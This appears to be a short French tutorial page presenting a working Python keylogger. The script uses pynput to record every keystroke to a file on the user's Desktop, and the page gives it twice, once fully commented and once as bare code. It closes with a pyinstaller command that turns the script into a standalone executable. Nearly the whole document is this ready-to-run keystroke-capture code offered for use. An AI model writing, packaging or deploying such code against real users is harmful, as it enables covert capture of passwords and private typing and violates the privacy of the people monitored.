PYTHON – Keylogger simple


Il est bien sûr à adapter en fonction du chemin d’enregistrement du fichier de sortie.

from pynput import keyboard   # importe le module 'pynput' qui permet d'intercepter les événements clavier
import os                     # importe le module 'os' pour manipuler les chemins de fichiers et dossiers

# Définit le chemin complet vers le fichier sur le Bureau de l'utilisateur courant
chemin = os.path.expanduser("~\\Desktop\\file.txt")  
# os.path.expanduser("~") → retourne le dossier utilisateur courant (ex : C:\Users\Axel)
# "\\Desktop\\file.txt" → ajoute le sous-dossier Bureau et le nom du fichier

# Fonction appelée à chaque pression d'une touche
def on_press(key):                      
    # Affiche dans la console la touche pressée
    print("Touche appuyée :", key)  

    # Convertit l'objet 'key' (qui peut être une touche spéciale ou un caractère normal) en chaîne de caractères
    k = str(key)          

    # Ouvre le fichier en mode "append" pour ajouter du texte à la fin
    # Le 'with' gère automatiquement la fermeture du fichier à la fin du bloc
    # 'f' est une variable temporaire qui représente le fichier ouvert
    with open(chemin, "a", encoding="utf-8") as f:  
        f.write(k + "\n")  # écrit la touche dans le fichier + passe à la ligne suivante

# Crée un Listener pour écouter le clavier
# on_press=on_press → indique la fonction à appeler à chaque pression d'une touche
with keyboard.Listener(on_press=on_press) as listener:
    listener.join()  # bloque le programme ici et garde le Listener actif tant qu'il n'est pas arrêté

Version brute :

from pynput import keyboard
import os   

chemin = os.path.expanduser("~\\Desktop\\file.txt")  

def on_press(key):                      
    print("Touche appuyée :", key)  

    k = str(key)          

    with open(chemin, "a", encoding="utf-8") as f:  
        f.write(k + "\n")  

with keyboard.Listener(on_press=on_press) as listener:
    listener.join() 
Pour le rendre exécutable, allez dans le cmd :
> pyinstaller –onefile keylogger.py